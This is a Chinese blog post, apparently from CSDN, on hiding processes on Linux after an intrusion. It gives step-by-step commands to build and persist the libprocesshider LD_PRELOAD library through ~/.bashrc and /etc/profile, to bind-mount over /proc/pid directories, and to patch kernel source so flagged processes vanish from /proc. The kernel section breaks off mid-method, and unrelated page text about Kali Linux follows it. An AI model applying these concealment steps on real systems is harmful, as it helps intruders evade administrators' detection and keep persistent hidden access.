(渗透测试后期)Linux进程隐藏详解

(渗透测试后期)Linux进程隐藏详解

前言

写博客最好还是贴近实际,先用实践技术去引导,在过程中记录笔记,最后整理成博客。所谓水到渠成也。

如果脱离实际牵引,以想法驱动,最终也会性质缺缺,博客质量不够。

Linux进程基础

进程是执行程序的过程,类似于按照图纸,真正去盖房子的过程。

同一个程序可以执行多次,每次都可以在内存中开辟独立的空间来装载,从而产生多个进程。不同的进程还可以拥有各自独立的IO接口。操作系统的一个重要功能就是为进程提供方便,比如说为进程分配内存空间,管理进程的相关信息等等,就好像是为我们准备好了一个精美的地址。

进程信息是proc目录下动态生成,每个动态创建的进程ID号下面详细的记录了关于该进程的fd,mem,io,cpuset等进程信息。
在这里插入图片描述

Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。

**通过它可以访问系统内核数据。**用户和应用程序可以通过proc得到系统的信息,并可以改变内核的某些参数。

由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取proc文件时,proc文件系统动态的。在/proc下还有三个很重要的目录:net,scsi和sys。sys目录是可写的,可以通过它来访问或修改内核的参数,而net和scsi则依赖于内核配置。例如,如果系统不支持scsi,则scsi 目录不存在。

除了以上介绍的这些,还有的是一些以数字命名的目录,它们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的 PID号为目录名,它们是读取进程信息的接口。而self目录则是读取进程本身的信息接口。

读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。

Linux进程侦查手段

  • 通过ps命令查看

ps命令:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7cuD1MT0-1648373592356)(end.assets/image-20220327165450637.png)]

ps显示进程原理

strace命令是一个常用的代码调试工具,它可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。因此对于调试程序出错是非常有用的。这里不过多展示strace的调试用法,具体可以查看详细的strace命令。

我们看下ps是如何显示进程信息的:

strace ps

通过strace命令可以看出 ps查看进程的信息都是通过调用 readdir 方法遍历 /proc 目录来获取进程信息。

  • 通过top命令查看

top命令:

top显示进程原理

我们看下top是如何显示进程信息的:

strace top

在这里插入图片描述

通过strace命令可以看出top等查看进程的信息也是通过调用 readdir 方法遍历 /proc 目录来获取进程信息。

  • 通过ls命令查看

既然进程信息会在/proc目录下显示,那么我们通过 ls /proc/ 也可以实现进程查看

ls /proc/pid/stat

Linux进程隐藏手段

Linux 下进程隐藏手法大体上分为两种,一种是基于用户态隐藏;一种是直接操控内核进行隐藏。

一、基于用户态的进程隐藏

修改内核代码比较难,在用户态可以选择通过劫持系统调用来隐藏进程

方法1:小隐隐于/proc/pid——劫持readdir系统调用

劫持readdir函数,主要是让程序运行假的readdir函数。同时就像DLL文件在windows上,so文件也是Linux的函数库,readdir函数就在其中。

LD_PRELOAD,是个环境变量,用于动态库的加载,动态库加载的优先级最高,一般情况下,其加载顺序为LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/lib>/usr/lib

指定LD_PRELOAD文件的库就能成功。

只需:

  1. 编译出假的.so文件,包含假的readdir函数

  2. 让ps、top等程序通过LD_PRELOAD加载我们的.so文件。

操作一波:

同性交友网站github上有现成的文件,我们就不重复造轮子了:

git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider/ 
( 修改 processhider.c 中 process_to_filter test为你的进程名字 )

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8kIEXQ0g-1648373592356)(end.assets/image-20220327163037882.png)]

make
cp libprocesshider.so /home/root2/Desktop/tools/hide_proc
export LD_PRELOAD=/home/root2/Desktop/tools/hide_proc/libprocesshider.so

查看结果:

这是劫持readdir系统调用之前:

在这里插入图片描述

在这里插入图片描述

这是劫持readdir系统调用之后:
在这里插入图片描述
在这里插入图片描述

注:劫持函数只在一个终端有效,在新终端使用ps命令不会被劫持

注2:程序名称为本身文件名称,没有python 、/bin/sh 、./、上级路径

那么我们将动态库所在目录的绝对路径设置到~/.bashrc或/etc/profile中即可永久生效

用户级别:追加库路径到~/.bashrc文件尾

系统级别:追加库路径到/etc/profile文件尾

export LD_PRELOAD=xxxxx
source ~/.bashrc #新启终端自动加载
source /etc/profile #重启系统自动加载
额外:加载至arm

因为该方法编译出的文件只能用于amd64架构,不能应用于arm\mips等架构,那我们如何解决?

答:搭建交叉编译环境,编译出针对arm架构的so库文件——交叉编译用户态文件,不是交叉编译内核模块,所以简单的一匹

步骤:

  • 1.搭建arm-linux-gcc交叉编译环境
  • 2.利用交叉编译环境编译出.so库
  • 3.移植到arm平台重复方法1步骤
方法2:小隐隐于/proc/pid——mount 挂载

利用mount —bind 将另外一个目录挂载覆盖至/proc/目录下指定进程ID的目录,我们知道ps、top等工具会读取/proc目录下获取进程信息,如果将进程ID的目录信息覆盖,则原来的进程信息将从ps的输出结果中隐匿。

例如隐藏进程id为1的进程信息:

mount -o bind /empty/dir /proc/1

缺点

cat /proc/pid/mountinfo 或者cat /proc/mounts 即可知道是否有挂载至/proc下的进程(不过一般没人闲着去看)

二、基于内核态的进程隐藏

编写一个rootkit(内核加载模块LKM),作为内核的一部分直接以 ring0 权限向入侵者提供服务

LKM 编程在一定意义上便是内核编程,与内核版本密切相关,只有使用相应版本内核源码进行编译的 LKM 才可以装载到对应版本的 kernel 上

所以基于内核态的进程隐藏难度较大,不过隐藏程度最深

方法3:大隐隐于内核——修改内核源码+系统调用

该方法便捷性较强

以Linux2.6.28内核为例(高版本例如5.11源码不同,不改这个函数,但思路一样)

思路:

  • 修改内核源码,进程控制块task_struts增加字段:int hide; 为1时隐藏,为0时不隐藏
  • 修改创建进程的相关代码,进程创建时,置hide为0
  • 增加系统调用hide() :将进程控制块中的hide置1;删除/proc中该进程目录

修改fs/proc/base.c文件

int proc_pid_readdir(struct file * filp, void * dirent, filldir_t filldir)  //内核源码,修改前
{
     unsigned int nr = filp->f_pos - FIRST_PROCESS_ENTRY;
     struct task_struct *reaper = get_proc_task(filp->f_path.dentry->d_inode);
     struct tgid_iter iter;
     struct pid_namespace *ns;

     if (!reaper)
      goto out_no_task;

     for (; nr < ARRAY_SIZE(proc_base_stuff); filp->f_pos++, nr++) { //这个for,填充self目录
      const struct pid_entry *p = &proc_base_stuff[nr];
      if (proc_base_fill_cache(filp, dirent, filldir, reaper, p) < 0)
       goto out;
     }

     ns = filp->f_dentry->d_sb->s_fs_info;
     iter.task = NULL;
     iter.tgid = filp->f_pos - TGID_OFFSET;
     for (iter = next_tgid(ns, iter);         
          iter.task;
          iter.tgid += 1, iter = next_tgid(ns, iter)) {  //这个for,根据系统内进程动态添加子进程号目录,也正是我们需要修改的函数
      filp->f_pos = iter.tgid + TGID_OFFSET;
      if (proc_pid_fill_cache(filp, dirent, filldir, iter) < 0) {
       put_task_struct(iter.task);
       goto out;
      }
     }
     filp->f_pos = PID_MAX_LIMIT + TGID_OFFSET;
    out:
        put_task_struct(reaper);
    out_no_task:
    	return 0;
}

将proc_pid_readdir函数中的for循环修改为

for (iter = next_tgid(ns, iter);         
      iter.task;
      iter.tgid += 1, iter = next_tgid(ns, iter)) 
	{
   
        //这个for,根据系统内进程动态添加子进程号目录,也正是我们需要修改的函数
          if(!iter.task->hide)
          {
   
              filp->f_pos = iter.tgid + TGID_OFFSET;
              if (proc_pid_fill_cache(filp, dirent, filldir, iter) < 0) 
              {
   
                   put_task_struct(iter.task);
                   goto out;
              }
          }
	}
}

修改include/linux/sched.h文件

struct task_struct{undefined
    ...//现有字段
    int hide;//添加hide字段,切忌不要在最开始添加,因为开始的字段的偏移量已固定,内核中其他部分已直接引用,如果在最开始添加,将导致现有代码不能正常工作
}

修改kernel/fork.c文件


                
  • 5
    点赞
  • 42
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
Kali Linux 是一个专为渗透测试安全审计而设计的操作系统,它集成了大量网络安全测试工具和资源。以下是对 Kali Linux 渗透测试技术的详细解释: 1. 渗透测试概述:渗透测试指的是模拟攻击者的攻击行为,以测试目标系统的弱点、漏洞和安全性。Kali Linux 提供了丰富的工具和技术,帮助渗透测试人员发现和利用系统的漏洞。 2. 收集信息:Kali Linux 中的工具可以通过扫描目标网络、嗅探网络流量和分析网络协议等方式获取目标系统的信息,建立信息档案,为后续攻击做准备。 3. 漏洞扫描和评估:Kali Linux 中内置了多种漏洞扫描工具,如Nmap、OpenVAS等,可用于发现系统中的漏洞和安全弱点。通过评估这些漏洞的严重性和利用潜力,渗透测试人员可以制定相应的防范和修复措施。 4. 社会工程学攻击:社会工程学攻击是指利用心理和人为因素进行攻击的技术。Kali Linux 中的工具如SET(Social Engineering Toolkit)可以帮助测试人员进行钓鱼攻击、恶意软件传播和欺骗等手段的渗透测试。 5. 远程攻击:Kali Linux 中的工具和技术可用于远程攻击目标系统,如Metasploit等。通过利用发现的漏洞和系统的弱点,攻击者可以执行远程代码、获取系统访问权限等。 6. 数据包嗅探和分析:Kali Linux 中的工具如Wireshark可用于捕获和分析网络数据包。通过分析数据包的内容和流量,渗透测试人员可以发现系统中存在的安全隐患和潜在的攻击方式。 总之,Kali Linux 提供了丰富的渗透测试工具和技术,让安全专家和渗透测试人员能够发现和利用系统中的漏洞,从而提升系统的安全性。它是一款强大的操作系统,被广泛用于渗透测试安全审计和网络安全教育等领域。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值